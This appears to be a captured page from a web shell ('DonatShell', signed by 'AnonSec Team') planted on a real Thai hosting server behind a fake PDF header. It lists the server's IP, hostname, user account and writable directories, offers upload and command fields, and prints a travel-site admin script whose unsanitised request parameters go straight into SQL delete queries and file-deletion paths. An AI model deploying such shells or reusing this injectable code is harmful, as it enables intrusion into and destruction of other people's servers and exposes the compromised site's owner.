%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.17.190  /  Your IP : 18.216.156.171
Web Server : Apache/2
System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
User : bungkla ( 1054)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bungkla/public_html/travels/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bungkla/public_html/travels/del_data.php
<?
session_start();
Header("Content-Type: text/html; charset=UTF-8");
if($_SESSION[user]=="")
{
	session_destroy();
	$message = "กรุณา Login ก่อน.";
	$url = "../admin/index.php";
	include("../admin/alert.php");
	exit;
}

if($_GET['chk_p']){
	$chk_p = $_GET['chk_p'];
}else{
	$chk_p = $_POST['chk_p'];
}
if(empty($chk_p) || ($chk_p==0)){
	echo "..Error..";die;
}
if($_GET['chk_del']){
	$chk_del = $_GET['chk_del'];
}else{
	$chk_del = $_POST['chk_del'];
}
if($_GET['code_id']){
	$code_id = $_GET['code_id'];
}else{
	$code_id = $_POST['code_id'];
}
if($_GET['code_1']){
	$code_1 = $_GET['code_1'];
}else{
	$code_1 = $_POST['code_1'];
}
$code_1 = ($code_1);
if($_GET['c_id']){
	$c_id = $_GET['c_id'];
}else{
	$c_id = $_POST['c_id'];
}
if($_GET['c_thumb']){
	$c_thumb = $_GET['c_thumb'];
}else{
	$c_thumb = $_POST['c_thumb'];
}
if($_GET['sald_item']){
	$sald_item = $_GET['sald_item'];
}else{
	$sald_item = $_POST['sald_item'];
}

if($chk_del==1){
	include("../include/config_db.php");
	
	$f_name = "";
	switch ($chk_p) {
		case 1: $sql_t = "select * from `travel_album_detail` where (`alb_id`='$c_id') ";
					$dbquery_t = mysql_query($sql_t) or die("Can't send query !");
					$num_photo = mysql_num_rows($dbquery_t);
					mysql_free_result($dbquery_t);
					if($num_photo>0){
						 echo "<br /><br /><p align=\"center\"><font color=#ff0000>ไม่สามารถลบข้อมูล อัลบั้ม $code_1 - เนื่องจากยังมีข้อมูลรูปภาพของอั้ลบั้มนี้อยู่ <br /><br />ต้องลบข้อมูลรูปภาพที่อยู่ในอัลบั้มนี้ให้หมดก่อน</font><br /><br /><a href=\"add_travel_picture.php?salb_id=$c_id&s_num_photo=5#top_page\">กลับไปหน้า แก้ไขรูปภาพ</a></p><br>";				
						 include("../include/close_db.php");
						 die;
					}
					else
					{
						$sql = "delete from `travel_album` where (`id`='$c_id') LIMIT 1";
						$f_name = "travel_album";
					}
					break;
		case 2: $sql = "delete from `travel_album_detail` where (`id`='$c_id') LIMIT 1";
					$f_name = "travel_album_detail";
					break;
	}
	$dbquery = mysql_query($sql) or die("Can't send query !");

	include("../include/close_db.php");

	echo "<br>";
	echo "<h3><p align=\"center\"><font color='#0000BB'>ลบข้อมูลเรียบร้อยแล้ว</font></p></h3><br>";

	switch ($chk_p) {
		case 1: $c_thumb = trim($c_thumb);
				    if($c_thumb != ''){
					  $file_del = "../photoThumbnail/travels/thumb/".$c_thumb;
					  unlink($file_del);
				    }
				    //echo "<p align=\"center\"><a href=\"add_travel_albums.php\">กลับไปหน้า $s_caption_1</a></p><br>";
					$url = "add_travel_albums.php";
				    header ("Location: ".$url);
				    break;
		case 2: $c_thumb = trim($c_thumb);
					$file_del = "../photoThumbnail/travels/a".$code_id."_a/".$c_thumb;
					if(@file_exists($file_del))
					{
						chmod($file_del,0777);
						unlink($file_del);
					}
					$file_del = "../photoThumbnail/travels/a".$code_id."_a/thumb/t_".$c_thumb;
					if(@file_exists($file_del))
					{
						chmod($file_del,0777);
						unlink($file_del);
					}
				    //echo "<p align=\"center\"><a href=\"add_travel_picture.php?salb_id=$code_id#pageimage\">กลับไปหน้า เพิ่ม$s_caption_1</a></p><br>";
					$url = "add_travel_picture.php?salb_id=$code_id#pageimage";
				    header ("Location: ".$url);
				    break;
	}
	
}else
{
	$s_name_1 = '';
	$s_caption_1 = '';
	switch ($chk_p) {
		case 1:	$s_caption_1 = 'อัลบั้ม';
					$s_name_1 = 'ลบข้อมูล';
					break;
		case 2:	$s_caption_1 = 'รูปภาพ';
					$s_name_1 = 'ลบข้อมูล';
					break;
}

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title></title>
<link href="./stylecss.css" rel="stylesheet" type="text/css">







<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color: #ffffff;	
	font-family: 'Kanit', sans-serif;
}
-->
</style>

<style type="text/css">
<!--
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
.style6 {color: #000000}
.style7 {color: #FFFFFF}
-->
</style>




</head>




<body   style="background-repeat:no-repeat; background-position:top">







<link rel="icon" href= "../logo/logo01.png" type="image/x-icon"/>
<link href="../styles.css" rel="stylesheet" type="text/css" />




<!-- content -->
<div align="center">
  <table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
    
	
	   <tr>
        <td align="center" valign="top"><div align="center"><a href="/index.php"><img src="../images/bn_home.png" width="150" height="53" border="0" /></a></div></td>
      </tr>
  <tr>
    <td align="center" valign="top">&nbsp;</td>
  </tr>
	
	
	
	
        <tr>
          <td align="center" valign="top"><table width="1200" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
              <th align="center" valign="top" scope="col"><table width="1200" border="0" align="center" cellpadding="0" cellspacing="0">
                <tr>
                  <th align="center" valign="top" scope="col">
				  
				  
				  
				  
				  
				  <table width="960" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td align="center" valign="top">
            <table width="960" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <th valign="top" scope="col"></th>
              </tr>
              <tr>
                <td valign="top">
				
				<div align="center">

			<table width="90%" border="0" cellspacing="0" cellpadding="0" align="center">
			<tr><td height="5" valign="top">&nbsp;<a name="toppage"></a></td>
			</tr>
			<tr>
			   <td class="title2"><div align="center"></div></td>
			</tr>
			<tr><td height="10" valign="top">&nbsp;</td></tr>
			<tr>
				<td>

					<table width="80%" border="1" cellspacing="0" cellpadding="0" align="center" bordercolor="#669999">
					<tr> 
						<td>
							<?
							switch ($chk_p) {
							case 1:echo "&nbsp;&nbsp;<a href=\"add_travel_albums.php\"><< กลับไปหน้า $s_caption_1</a>";
										break;
							case 2:echo "&nbsp;&nbsp;<a href=\"add_travel_picture.php?salb_id=$code_id#pageimage\"><< กลับไปหน้า เพิ่ม$s_caption_1</a>";
										break;
							}
							?>						</td>
					</tr>
					</table>
				
					 <table width="80%" border="1" cellspacing="0" cellpadding="0" align="center" bordercolor="#669999">
					 <form name="form1" enctype="multipart/form-data" method="post" action="del_data.php">
						  <tr bgcolor="#FF0000"> 
							<td align="center"><font  color="#FFFFFF"><b>ลบข้อมูล&nbsp;<?=$s_caption_1; ?></b></font></td>
						  </tr>
						  <tr>
							<td>
							<table width="100%" border="0" cellspacing="0" cellpadding="0">
								<tr>
									<td>&nbsp;</td>
								</tr>
								<tr>
									<td width="50%" align="right"><?=$s_name_1; ?> ::&nbsp;</td> 
									<td>
									<?
									switch ($chk_p) {
									case 1:
										if(!empty($c_id) and ($c_id>0))
										{
											echo "ID ".$c_id." ".$code_1 ; 
										}else
										{
											echo "ID ".$code_id." ".$code_1 ; 
										}
										break;
									case 2:
										if(!empty($sald_item) and ($sald_item>0))
										{
											echo "รูปที่ ".$sald_item." ".$code_1 ; 
										}else
										{
											echo "ID ".$c_id." ".$code_1 ; 
										}
										break;
									}
									?>									</td>
								</tr>
								<tr>
									<td>&nbsp;</td>
								</tr>
								<tr> 
									<td colspan="2" align="center">
										<input type="hidden" name="code_id" value="<?echo $code_id;?>"> 
										<input type="hidden" name="code_1" value="<?echo $code_1;?>"> 
										<input type="hidden" name="c_id" value="<?echo $c_id;?>"> 
										<input type="hidden" name="c_thumb" value="<?echo $c_thumb;?>"> 
										<input type="hidden" name="s_caption_1" value="<?echo $s_caption_1;?>"> 
										<input type="hidden" name="chk_del" value="1">
										<input type="hidden" name="chk_p" value="<?echo $chk_p;?>">
										<input type="submit" name="Submit" value=" Yes ">									</td>
								</tr>
								<tr>
									<td>&nbsp;</td>
								</tr>
							</table>							</td>
						</tr>
					</form>
					</table>				</td>
			</tr>
			<tr><td>&nbsp;</td></tr>
			</table>
		</div>				</td>
              </tr>
              <tr>
                <td valign="top">&nbsp;</td>
              </tr>
            </table>          </td>
        </tr>
      </table>				  </th>
                </tr>
              </table></th>
            </tr>
          </table></td>
        </tr>
        
  </table>
  </th>
    </tr>
  </table>
</div>
<!-- end_content -->
<map name="Map" id="Map"><area shape="rect" coords="754,163,806,192" href="http://main.pasworld.co.th" target="_blank" />
</map>
<map name="Map2" id="Map2"><area shape="rect" coords="418,24,495,59" href="http://www.eop.go.th/albums/index.php" />
</map>
<map name="Map3" id="Map3"><area shape="rect" coords="417,19,490,60" href="http://www.eop.go.th/news.php?cat_id=1" />
</map>
<map name="Map4" id="Map4"><area shape="rect" coords="420,18,490,60" href="http://www.eop.go.th/news.php?cat_id=2" />
</map>
<map name="Map5" id="Map5"><area shape="rect" coords="418,23,490,60" href="http://www.eop.go.th/webboard/webboard.php?Category=board" />
</map>
<map name="Map6" id="Map6"><area shape="rect" coords="210,1,302,41" href="http://www.tratlocal.go.th/index.php" target="_blank" />
</map>
<map name="Map7" id="Map7"><area shape="rect" coords="218,2,296,39" href="http://www.nakhonkorat.com/forum/forumdisplay.php?fid=16" target="_blank" />
</map>
</body>
</html>



<?
} 
include("../include/close_db.php");
?>

Anon7 - 2022
AnonSec Team